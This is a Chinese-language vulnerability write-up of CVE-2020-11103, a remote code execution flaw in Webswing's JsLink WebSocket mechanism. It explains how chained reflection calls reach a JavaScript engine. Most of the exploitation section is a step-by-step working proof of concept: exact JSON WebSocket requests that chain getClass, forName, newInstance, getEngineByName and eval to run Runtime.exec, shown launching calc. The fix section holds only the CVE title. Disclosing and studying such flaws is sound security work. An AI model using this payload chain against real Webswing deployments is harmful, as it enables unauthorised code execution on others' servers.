Author: UltramanGaia
1. Webswing JsLink机制
Webswing JsLink机制提供通过Websocket调用java代码的能力。
2. 漏洞原理
Before we can make any Java calls from JavaScript, we need to expose a Java object instance and store a reference to it in variable.
在Webswing中,存在一个哈希表WebJSObject#javaReferences
,JsLink机制允许通过WebSocket使用反射机制调用javaReferences中对象的方法。
有趣的是,反射调用后的返回值,如果是对象,则会把这个对象存储到javaReferences中。这意味着可以链式调用,可以构造如下攻击payload,实现代码执行。
XXXX.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('calc');"
3. 漏洞利用
以webswing-examples-2.7.5 为例进行演示。此外,由于payload通过WebSocket发送且为了直观地展示POC,我们需要 OWASP ZAP 来帮助编辑和发送Payload。
3.1 环境准备
运行webswing.bat
安装ZAP并设置为浏览器代理。
WebSwing默认使用BinarySocket
,为了方便起见,我们可以将其切换到文本模式。
点击ZAP菜单Tools->Options->Replacer
,添加一个规则
访问http://localhost:8080/swingset3/
并登录,你可以在ZAP中观察到如下消息。
3.2 XXXX.getClass()
点击JsLink,然后点击”Evaluate JavaScript”。
你可以看到如下请求包
此时我们知道javaReferences
中存在一个键值为2c700680-66ce-46c2-be63-4f24e6d63608
的对象。
可以构造如下请求包
{"javaRequest":{"correlationId":"83887784fca","objectId":"2c700680-66ce-46c2-be63-4f24e6d63608","method":"getClass","params":[]}}
此时发现服务器返回一个对象ID940b076d-3feb-4a1d-81db-b57ab1060bf7
3.3 XXXX.getClass().forName(“javax.script.ScriptEngineManager”)
构造如下请求包
{"javaRequest":{"correlationId":"83887784fca","objectId":"940b076d-3feb-4a1d-81db-b57ab1060bf7","method":"forName","params":[{"primitive":"\"javax.script.ScriptEngineManager\""}]}}
返回对象IDfe61c023-5262-4bee-a132-ed4822fb7f63
3.4 XXXX.getClass().forName(“javax.script.ScriptEngineManager”).newInstance()
重复
{"javaRequest":{"correlationId":"83887784fca","objectId":"fe61c023-5262-4bee-a132-ed4822fb7f63","method":"newInstance","params":[]}}
获得f5cfae91-45a4-4fe1-8554-d8ce9bf12d7e
3.5 XXXX.getClass().forName(“javax.script.ScriptEngineManager”).newInstance().getEngineByName(“js”)
{"javaRequest":{"correlationId":"83887784fca","objectId":"f5cfae91-45a4-4fe1-8554-d8ce9bf12d7e","method":"getEngineByName","params":[{"primitive":"\"js\""}]}}
获得42554f1a-8866-472e-aee3-0ff90281e2d7
.
3.6 XXXX.getClass().forName(“javax.script.ScriptEngineManager”).newInstance().getEngineByName(“js”).eval(“java.lang.Runtime.getRuntime().exec(‘calc’);”
{"javaRequest":{"correlationId":"83887784fca","objectId":"42554f1a-8866-472e-aee3-0ff90281e2d7","method":"eval","params":[{"primitive":"\"java.lang.Runtime.getRuntime().exec('calc');\""}]}}
Calc.exe
进程成功运行。
4. 漏洞修复
Webswing JsLink Mechanism Remote Code Execution Vulnerability(CVE-2020-11103)
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com